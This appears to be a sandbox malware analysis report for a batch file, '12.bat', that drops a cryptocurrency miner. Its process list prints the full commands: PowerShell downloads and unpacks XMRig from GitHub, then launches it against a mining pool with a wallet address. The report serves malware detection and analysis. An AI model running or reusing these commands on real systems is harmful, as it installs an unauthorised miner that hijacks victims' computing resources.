Resubmissions

Analysis

  • max time kernel
    1794s
  • max time network
    1806s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    18/03/2024, 18:05

General

  • Target

    12.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\12.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3700
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4984

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    81a9e12b5ea7fe5fe3ee2688b18e02b4

    SHA1

    394d1957e268acfb56cf2f4256ce28cbdabd3e97

    SHA256

    ced7be5312dc1f70ed36c582d12401b7e31494594c3fa6078d4182b70db2544a

    SHA512

    205f2bdc21ebb108c518a2ca56b839ca7e908db8fc3d1037f1eebed3f56307268b308bd9f301aa97181fcf73e16a149c33fdf6f04a9b699587c0d0d75a684b0e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bia4kthh.ine.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    4.7MB

    MD5

    cff77a6996b17bc36672cf5f187f7015

    SHA1

    3040e66e54ced4286e30a02d895813596fd8a663

    SHA256

    1a773c3cb23359bef6aa9ca92d60297da660372491b864c36e8a09690bbdc04b

    SHA512

    1bf2c74b27a4448702c55828c4dba3c2902c50a6e918aaf49b5508945c2f3374ba877fbe5b6be5d12f6ab4255c50a1d826445827793e0eafaeacea99b6e1a94c

  • memory/3536-4-0x000002A8713B0000-0x000002A8713D2000-memory.dmp

    Filesize

    136KB

  • memory/3536-7-0x00007FFC2E1A0000-0x00007FFC2EB8C000-memory.dmp

    Filesize

    9.9MB

  • memory/3536-8-0x000002A871690000-0x000002A871706000-memory.dmp

    Filesize

    472KB

  • memory/3536-9-0x000002A871500000-0x000002A871510000-memory.dmp

    Filesize

    64KB

  • memory/3536-10-0x000002A871500000-0x000002A871510000-memory.dmp

    Filesize

    64KB

  • memory/3536-25-0x000002A871500000-0x000002A871510000-memory.dmp

    Filesize

    64KB

  • memory/3536-26-0x00007FFC2E1A0000-0x00007FFC2EB8C000-memory.dmp

    Filesize

    9.9MB

  • memory/3536-27-0x000002A871500000-0x000002A871510000-memory.dmp

    Filesize

    64KB

  • memory/3536-28-0x000002A871500000-0x000002A871510000-memory.dmp

    Filesize

    64KB

  • memory/3536-33-0x00007FFC2E1A0000-0x00007FFC2EB8C000-memory.dmp

    Filesize

    9.9MB

  • memory/3700-39-0x00007FFC2E1A0000-0x00007FFC2EB8C000-memory.dmp

    Filesize

    9.9MB

  • memory/3700-40-0x000002CE51830000-0x000002CE51840000-memory.dmp

    Filesize

    64KB

  • memory/3700-41-0x000002CE51830000-0x000002CE51840000-memory.dmp

    Filesize

    64KB

  • memory/3700-65-0x000002CE51830000-0x000002CE51840000-memory.dmp

    Filesize

    64KB

  • memory/3700-79-0x000002CE51A60000-0x000002CE51A72000-memory.dmp

    Filesize

    72KB

  • memory/3700-92-0x000002CE51A40000-0x000002CE51A4A000-memory.dmp

    Filesize

    40KB

  • memory/3700-116-0x00007FFC2E1A0000-0x00007FFC2EB8C000-memory.dmp

    Filesize

    9.9MB

  • memory/4984-141-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-154-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-121-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-122-0x000002A5A1C80000-0x000002A5A1CA0000-memory.dmp

    Filesize

    128KB

  • memory/4984-123-0x000002A5A3450000-0x000002A5A3470000-memory.dmp

    Filesize

    128KB

  • memory/4984-124-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-125-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-126-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-127-0x000002A5A1C80000-0x000002A5A1CA0000-memory.dmp

    Filesize

    128KB

  • memory/4984-128-0x000002A5A3450000-0x000002A5A3470000-memory.dmp

    Filesize

    128KB

  • memory/4984-129-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-130-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-131-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-132-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-133-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-134-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-135-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-136-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-137-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-138-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-139-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-140-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-119-0x000002A5A19F0000-0x000002A5A1A10000-memory.dmp

    Filesize

    128KB

  • memory/4984-142-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-143-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-144-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-145-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-146-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-147-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-148-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-149-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-150-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-151-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-152-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-153-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-120-0x000002A5A1A40000-0x000002A5A1A80000-memory.dmp

    Filesize

    256KB

  • memory/4984-155-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-156-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-157-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-158-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-159-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-160-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-161-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-162-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-163-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-164-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-165-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-166-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-167-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-168-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-169-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-170-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-171-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-172-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-173-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-174-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-175-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-176-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-177-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-178-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-179-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-180-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-181-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-182-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-183-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-184-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-185-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-186-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB

  • memory/4984-187-0x00007FF7F3E30000-0x00007FF7F4933000-memory.dmp

    Filesize

    11.0MB